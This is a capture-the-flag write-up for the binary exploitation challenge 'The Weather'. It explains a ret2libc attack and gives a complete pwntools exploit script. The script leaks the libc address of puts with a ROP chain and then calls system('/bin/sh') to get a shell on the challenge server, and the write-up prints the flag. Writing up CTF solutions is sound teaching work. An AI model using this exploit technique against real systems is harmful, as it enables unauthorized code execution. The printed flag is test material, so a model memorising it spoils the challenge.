The Weather
Binary Exploitation
Software is like the weather, it’s always changing!
Solution
When connecting to the service, you get a base64 encoded binary that is executed and needs to be exploited. Every time you connect to the service, you get a new binary and the connection is being terminated after about 40 seconds, so you need to automate as much as possible.
First, I dumped some of the binaries and exploited them locally using pwntools
. The binaries have no PIE and no stack canaries enabled, only NX is enabled, and they have a buffer overflow vulnerability what allows us to execute ROP chains. The exploit script finds appropriate ROP gadgets and overflows the buffer to set up a ROP chain to leak the libc address of puts
and returns to the main
function again for another input of a ROP chain to execute system
with /bin/sh
.
When comparing the binaries, the only things that change are the vulnerable buffer size and the address of the main
function, that can not simply read out because the binaries are stripped. Since I was not aware of a better way, I quickly opened the binary in Ghidra
and looked up these two unknown variables, the buffer size and the address of the main
function, and inserted them to the exploit script in time and successfully got the shell.
Exploit script:
from pwn import *
import base64
from os import path
p = remote('challs.xmas.htsp.ro', 12002)
print p.recvuntil('b\'')
binary = p.recvuntil('\'')
with open('binary', 'wb') as file:
file.write(base64.b64decode(binary))
libc = ELF('libc-2.27.so')
e = ELF('binary')
rop = ROP(e)
POP_RDI_RET = rop.find_gadget(['pop rdi', 'ret'])[0]
RET = rop.find_gadget(['ret'])[0]
while True:
if path.exists('vars'):
break
sleep(0.5)
with open('vars', 'r') as file:
data = file.read().split(';')
size = int(data[0])
main = int(data[1], 16)
# p = process('binary')
p.sendlineafter('? ', 'A' * size + p64(0x0) + p64(POP_RDI_RET) + p64(e.got['puts']) + p64(e.plt['puts']) + p64(main))
print p.recvline()
print p.recvline()
puts = u64(p.recvline()[:-1] + '\x00\x00')
log.info('puts: {}'.format(hex(puts)))
libc_base = puts - libc.symbols['puts']
log.info('libc_base: {}'.format(hex(libc_base)))
system = libc_base + libc.symbols['system']
log.info('system: {}'.format(hex(system)))
sh = libc_base + next(libc.search('/bin/sh'))
log.info('/bin/sh: {}'.format(hex(sh)))
p.sendlineafter('? ', 'A' * size + p64(0x0) + p64(RET) + p64(POP_RDI_RET) + p64(sh) + p64(system))
p.interactive()
flag: X-MAS{0h_1_7h1nk_y0u_4r3_4_r0b07}